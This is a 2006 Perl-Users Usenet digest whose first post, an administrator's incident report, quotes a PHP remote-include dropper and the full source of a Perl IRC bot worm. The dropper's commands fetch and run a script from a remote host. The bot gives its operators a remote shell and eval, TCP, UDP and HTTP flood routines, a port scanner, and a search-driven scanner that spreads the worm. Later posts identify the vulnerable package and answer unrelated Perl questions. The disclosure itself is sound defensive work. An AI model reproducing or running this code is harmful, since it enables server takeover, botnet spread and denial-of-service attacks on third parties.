[28304] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 9668 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Aug 30 18:15:17 2006

Date: Wed, 30 Aug 2006 15:15:10 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Wed, 30 Aug 2006     Volume: 10 Number: 9668

Today's topics:
        PHP/Perl/Unix Virus: delete config.php files asap <ignoramus6539@NOSPAM.6539.invalid>
    Re: PHP/Perl/Unix Virus: delete config.php files asap <colin.thisisnotmysurname@ntlworld.deletemeunlessURaBot.com>
    Re: PHP/Perl/Unix Virus: delete config.php files asap <colin.thisisnotmysurname@ntlworld.deletemeunlessURaBot.com>
    Re: set in Perl? <hjp-usenet2@hjp.at>
    Re: Threading - share <mumebuhi@gmail.com>
    Re: Threading - share xhoster@gmail.com
    Re: Win32::GUI and Scrolling Text <zentara@highstream.net>
    Re: Win32::GUI and Scrolling Text <zentara@highstream.net>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Wed, 30 Aug 2006 18:51:26 GMT
From: Ignoramus6539 <ignoramus6539@NOSPAM.6539.invalid>
Subject: PHP/Perl/Unix Virus: delete config.php files asap
Message-Id: <O6lJg.118230$T01.100479@fe82.usenetserver.com>

There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).

I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.

The requests are like this

216.120.231.252 - - [30/Aug/2006:13:28:03 -0500] "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"

File spread.txt contains this:

<?
passthru('cd /tmp;wget http://domates.1gig.biz/tmr;perl tmr;rm -f tmr*');
passthru('cd /tmp;curl -O http://domates.1gig.biz/tmr;perl tmr;rm -f tmr*');
passthru('cd /tmp;lwp-download http://domates.1gig.biz/tmr;perl tmr;rm -f tmr*');
passthru('cd /tmp;lynx -source http://domates.1gig.biz/tmr >tmr;perl tmr;rm -f tmr*');
passthru('cd /tmp;fetch http://domates.1gig.biz/tmr >tmr;perl tmr;rm -f tmr*');
passthru('cd /tmp;GET http://domates.1gig.biz/tmr >tmr;perl tmr;rm -f tmr*');
?>

That script, obviously, tries very hard to download and execute 'tmr'. 

'tmr' is, apparently, a perl script whose job SEEMS to be to listen on
IRC channels or some such and spread around by abusing a vulnerability
in 'config.php'. It is also seemingly used for DDOSing some servers
and who knows what else (shell function etc).

If the guy was smart, he's probably run some obfuscator on his code,
to make it harder to read.

I did a locate command on my fedora systems and found config.php in
some package called 'squirrelmail'. Which I immediately deleted, even
though it was not accessible through the web, just sitting there, but
I just do not want it.

My main question is, just what package or program owns config.php that
si vulnerable. It is a generic file name, so I would not be so quick
to suspect squirrelmail.

Here's the 'tmr' script:

#!/usr/bin/perl

# VulnScan v6 Stable By Morgan
# 
# Note:
# DO NOT REMOVE COPYRIGHTS ... 
# www.priv8.com.ar 
# 
# [Morgan]: http://priv8.com.ar/Zerocool.jpg
# [Morgan]: u got owned
# [ZEROCOOL]: bro
# [ZEROCOOL]: it's a rbot
# [ZEROCOOL]: i'm not fuckingstupid
# [ZEROCOOL]: uahuahuahuahua
#
#
# Greets to irc.gigachat.net :: #Morgan
# 
#
# To work with auto-spread : 
# Create a file named spread.txt with this : 
#
# <?
# passthru('cd /tmp;wget http://priv8.com.ar/v6;perl v6;rm -f v6*');
# passthru('cd /tmp;curl -O http://priv8.com.ar/v6;perl v6;rm -f v6*');
# passthru('cd /tmp;lwp-download http://priv8.com.ar/v6;perl v6.txt;rm -f v6*');
# passthru('cd /tmp;lynx -source http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# passthru('cd /tmp;fetch http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# passthru('cd /tmp;GET http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# ?>
#
# Change the url .. put ur bot url in that file 
# then use the command :
#
# !morgan !eval @cmdstring='http://yoursite.com/spread.txt';
# or directly change it from the code.. 
#
# Enjoy the bot ....
# /Morgan


my $processo = '[sys]';
use HTTP::Request;
use LWP::UserAgent;

#CONFIGURATION
my $linas_max='4';
my $sleep='5';
my @gstring='www.priv8.com.ar';
my @cmdstring='http://domates.1gig.biz/spread.txt';
my @adms=("h1dd3n","Tamer");
my @canais=("#tamerlinux");
my $nick='Linux-';
my $ircname ='linux';
chop (my $realname = `uname -a`);
$servidor='h1dd3n.pikolata.net' unless $servidor;
my $porta='6121';
my $VERSAO = 'Vulnscan v6 www.priv8.com.ar';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}

# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP DDoSing]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($3>$cur_time){
             $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3");
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP DDoSing]\002 Attack done ".$1.":".$2.".");
           }
   if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 w0rmb0t ver ".$VERSAO);
}
#SCANNER 
           if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
	     $boturl=$2;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[v6]\002 Scan started.");
     srand;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
	     $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
    $cur_time = time - $itime;
    @urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
 #sendraw($IRC_cur_socket, "PRIVMSG #debug :\002[v6|Exploiting]\002 ".$url2."\n\n");
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdstring?";

print "\n".$url2."\n\n";


# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);

if ($response->is_success) {
 if( $response->content =~ /By/ && $response->content =~ /Morgan/ ){
 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[v6|VULN]\002 ".$url2." \n\n");
}
}
else {
    print 'Errore: ',$path,$response->status_line, "\n";
}
 }
}
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[v6]\002 Scan finished in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP DDoSing]\002 Attacking ".$1.":80 for ".$2." seconds.");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($2>$cur_time){
             $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP DDoSing]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}
# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}
# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}
# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
 }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
{
my @dominios = ("nodom");
my @str;

foreach $dom  (@dominios)
{
	push (@str,"@gstring");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
#sendraw("privmsg #Morgan :DEBUG only test googling: ".$query.""); 
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
    push (@lst,$1);
}
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };

   return $page;
}
}
# V6 OWNED YOUR BOX 
# www.priv8.com.ar
# irc.gigachat.net - #Morgan

# NOTE: DONT REMOVE COPYRIGHTS



------------------------------

Date: Wed, 30 Aug 2006 19:45:54 GMT
From: Colin McKinnon <colin.thisisnotmysurname@ntlworld.deletemeunlessURaBot.com>
Subject: Re: PHP/Perl/Unix Virus: delete config.php files asap
Message-Id: <SVlJg.2018$DB3.1893@newsfe6-gui.ntli.net>

Ignoramus6539 wrote:

> There were some strange requests to my server asking for config.php
> file (which I do not have in the requested location).
> 

Nice one Ignoramus6539

> I did some investigation. Seems to be a virus written in perl,
> exploiting a vulnerability in php code.
>

Sure looks like it. Is anyone daft enough to include($get_parameter)?

> I did a locate command on my fedora systems and found config.php in
> some package called 'squirrelmail'. Which I immediately deleted, even
> though it was not accessible through the web, just sitting there, but
> I just do not want it.
>
Oooh. "Some package called...' sloppy housekeeping!

Actually, although Squirrelmail was vulnerable to this kind of attack 
(http://www.sans.org/resources/malwarefaq/squirrelmail.php?portal=750dd8d47b2e376b3699d19913a177c2,
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=191)
the developers are relatively good about releasing fixes.

Your attacker seems to be looking for phpListPro
(http://www.frsirt.com/english/advisories/2006/1325).

Usually script kiddies don't look to see what you're running before
unleashing all their dogs on your servers.
 
> My main question is, just what package or program owns config.php that
> si vulnerable. It is a generic file name, so I would not be so quick
> to suspect squirrelmail.
> 
Next time try Google first :) and give us a URL for the code.

C.



------------------------------

Date: Wed, 30 Aug 2006 20:22:50 GMT
From: Colin McKinnon <colin.thisisnotmysurname@ntlworld.deletemeunlessURaBot.com>
Subject: Re: PHP/Perl/Unix Virus: delete config.php files asap
Message-Id: <usmJg.806$SH2.600@newsfe4-gui.ntli.net>

Colin McKinnon wrote:

> Ignoramus6539 wrote:
> 
Whoops - sorry for cross-posting the reply too.

(rec.crafts.metalworking????)

C.


------------------------------

Date: Wed, 30 Aug 2006 17:32:29 +0200
From: "Peter J. Holzer" <hjp-usenet2@hjp.at>
Subject: Re: set in Perl?
Message-Id: <slrnefbbsg.366.hjp-usenet2@yoyo.hjp.at>

["Followup-To:" header set to comp.lang.perl.misc.]
On 2006-08-30 13:41, Davy <zhushenli@gmail.com> wrote:
> I used to use set (only contain one identical thing in one set) in
> C++'s STL. I found set very useful that you can do something like
> intersection. Is there something similar in Perl? Thanks!

Have you tried searching for "set" on CPAN? Set::Scalar is one of the
first hits I get.

	hp


-- 
   _  | Peter J. Holzer    | > Wieso sollte man etwas erfinden was nicht
|_|_) | Sysadmin WSR       | > ist?
| |   | hjp@hjp.at         | Was sonst wäre der Sinn des Erfindens?
__/   | http://www.hjp.at/ |	-- P. Einstein u. V. Gringmuth in desd


------------------------------

Date: 30 Aug 2006 14:20:25 -0700
From: "mumebuhi" <mumebuhi@gmail.com>
Subject: Re: Threading - share
Message-Id: <1156972825.455689.130200@m73g2000cwd.googlegroups.com>

> "mumebuhi" <mumebuhi@gmail.com> wrote:
> > I am trying to understand the differences among these constructs:
> >
> > # 1
> > my $p : shared;
> > $p->{'_name'} = "My Name";
> >
> > # 2
> > my $p : shared = &share({});
> > $p->{'_name'} = "My Name";
> >
> > Do 1 and 2 achieve the same thing?
>
> No. 1 gives a "Invalid value for shared scalar" error in nontrivial
> contexts.  2 doesn't (but overriding prototypes is probably bad form,
> anyway).
>
> # 2.5
> my $p = share(%{+{}});
> $p->{'_name'} = "My Name";
>
> # 2.75
> my $p={}; share %$p;
> $p->{'_name'} = "My Name";
>
> >
> > # 3
> > my %p : shared;
> > $p{'_name'} = "My Name";
> >
> > Is it fair to say that 3 is the simpler form compared to 1 and 2?
>
> In the sense that it is simpler to not use gratuitous references than it is
> to use gratuitous references, sure, 3 is simpler.   But using the same
> logic, we could say it is even simpler not to share the variables at all,
> as you don't make meaningful use of the shared nature.  Whether you need
> the complexity of sharing, or need the complexity of references, depends on
> the parts of your code you haven't shown us.

I tend to use #3 for a regular usage. However, when I need to construct
a new object, that will be shared by several threads, I have to use #2
in the constructor. Is this reasonable?



------------------------------

Date: 30 Aug 2006 21:41:24 GMT
From: xhoster@gmail.com
Subject: Re: Threading - share
Message-Id: <20060830174146.331$n5@newsreader.com>

"mumebuhi" <mumebuhi@gmail.com> wrote:
> > "mumebuhi" <mumebuhi@gmail.com> wrote:
> > > I am trying to understand the differences among these constructs:
> > >
> > > # 1
> > > my $p : shared;
> > > $p->{'_name'} = "My Name";
> > >
> > > # 2
> > > my $p : shared = &share({});
> > > $p->{'_name'} = "My Name";
> > >
> > > Do 1 and 2 achieve the same thing?
> >
> > No. 1 gives a "Invalid value for shared scalar" error in nontrivial
> > contexts.  2 doesn't (but overriding prototypes is probably bad form,
> > anyway).
> >
> > # 2.5
> > my $p = share(%{+{}});
> > $p->{'_name'} = "My Name";
> >
> > # 2.75
> > my $p={}; share %$p;
> > $p->{'_name'} = "My Name";
> >
> > >
> > > # 3
> > > my %p : shared;
> > > $p{'_name'} = "My Name";
> > >
> > > Is it fair to say that 3 is the simpler form compared to 1 and 2?
> >
> > In the sense that it is simpler to not use gratuitous references than
> > it is to use gratuitous references, sure, 3 is simpler.   But using the
> > same logic, we could say it is even simpler not to share the variables
> > at all, as you don't make meaningful use of the shared nature.  Whether
> > you need the complexity of sharing, or need the complexity of
> > references, depends on the parts of your code you haven't shown us.
>
> I tend to use #3 for a regular usage. However, when I need to construct
> a new object, that will be shared by several threads, I have to use #2
> in the constructor. Is this reasonable?

Yes.  I happen to use 2.75 because of a (perhaps irrational) aversion to
using &.  But 2 is fine, and even recommended by the docs.  Of course,
if whatever module you are using is not thread safe, then may have
problems (for example with DESTROY being called multiple times), but that
is true regardless of the exact syntax you using here.

Xho

-- 
-------------------- http://NewsReader.Com/ --------------------
Usenet Newsgroup Service                        $9.95/Month 30GB


------------------------------

Date: Wed, 30 Aug 2006 15:34:59 GMT
From: zentara <zentara@highstream.net>
Subject: Re: Win32::GUI and Scrolling Text
Message-Id: <765bf2tu0dgp1kbmfl3p0h4f9eagfkmk36@4ax.com>

On 29 Aug 2006 14:10:09 -0700, "jackbarnett@gmail.com"
<jackbarnett@gmail.com> wrote:

>
>btw, thanks for your replies.  I appericate it.
>
>I was also wondering, do you know of any online documentation for
>Perl/TK?  I think I should start there... some newbie guide, cause
>don't think I'm getting the basic concepts here.

First there are the perldocs.  Type "perldoc Tk" for an overview.
Then to get individual widgets, type "perldoc Tk::Text" or 
"perldoc Tk::Canvas", for example.

If you are using Windows, ActiveState has the best docs. They
have many examples of windows-specific scripts, and I even check their
docs for linux usage. 
http://aspn.activestate.com/ASPN/docs/ActivePerl/5.8/site/lib/Tk.html



There are alot of Tk mini-tutorials to be found on google, but the 
best learning source is the book "Mastering Perl/Tk" by Steven Lidie.
Read that book, and you will be totally up to speed.

You can get an online version at O'Reilleys Safari website, where
you can probably browse some of it for free.
http://safari.oreilly.com/

The nice thing about the online version, is you can cut'n'paste code
to teat yourself.





Otherwise, there is an active newsgroup for Tk, 
comp.lang.perl.tk 
You can ask for code help there, but they usually expect to see
some effort on your part.

http://groups.google.com is a treasure box full of Tk code snippets.
Just groups.google for some keywords like " Tk fileevent" and you will
get hundreds of snippets to test and help you learn.


There is also http://perltk.org/  where there are some interesting
articles are varous difficult Tk topics.

Good luck.



-- 
I'm not really a human, but I play one on earth.
http://zentara.net/japh.html


------------------------------

Date: Wed, 30 Aug 2006 15:35:00 GMT
From: zentara <zentara@highstream.net>
Subject: Re: Win32::GUI and Scrolling Text
Message-Id: <ttbbf253d06uup4gi5telg1lsphmm49pg9@4ax.com>

On 29 Aug 2006 13:47:32 -0700, "jackbarnett@gmail.com"
<jackbarnett@gmail.com> wrote:

>
>I need an infite loop.  Basically what I'm trying to do is a tail...
>reading in entire file and when I get to the end of the file;  sleep
>for X Seconds and then see if there is any more lines on the end of the
>file is unread, else sleep again and repeat.

Yeah, that is why in my first example I used a piped-open to tail the
file, then read that filehandle with fileevent. That essentially forks
off the tail process. Now on windows, fork is emulated using threads,
so you could use the tail code in a thread, and read it thru shared
variables.

Since there are so many ways to do this, why don't you check out
http://perlmonks.org/?node=tail+win32&go_button=Search

and read the links where some win32 savvy  perlmonks discuss it.
I'm a linux guy, and I'm probably missing some win32-expertise.


>I don't need to update the window with the entire file, only need to
>update the window with the new lines (appeneded at the end of the
>buffer).

Yeah, the problem I see in my previous example is the repetitive
opening /closing the file. It would be best to open it just once.
But see below for a hack.

>for example, in a normal text console under Win32 I can do this:
>
>
>for(;;) {
>	while ( <FILE> ) {
>	  my $line=$_;
>	  chomp($line);
>	  print ("$line\n");
>	}
>        sleep (1);
If you put this sleep in a thread, it would be Ok. But in a Tk app,
you should not use sleep, use a non-blocking delay
$mw->after(1000);  # will simulate a 1 second delay without blocking

>	FILE->clearerr();
>}
>
>
>That reads in entire file, when it gets to end, it sleeps for 1 second.
> It then loops back and starts reading where it left off (if there are
>any new lines it prints them) then repeats.


>I don't need this "event handler loop" stuff getting in my way.  I

Sorry, but to do it correctly, you need fileevent, or IO::Select which
essentially does the same thing ( but you must account for blocking the 
event-loop with IO::Select, like using after and update in the loop as
shown below).

>tried forking it off (so it could run in a differant thread and update
>whatever it needs) but that causes the GUI to hang.
>I want to control directly what I'm doing or not doing with the file.
>It's not the EventHandler's bussiness what I'm doing with this file in
>the privacy of my own code.

You can try  ( or use an IO::Select can_read loop )

for(;;) {
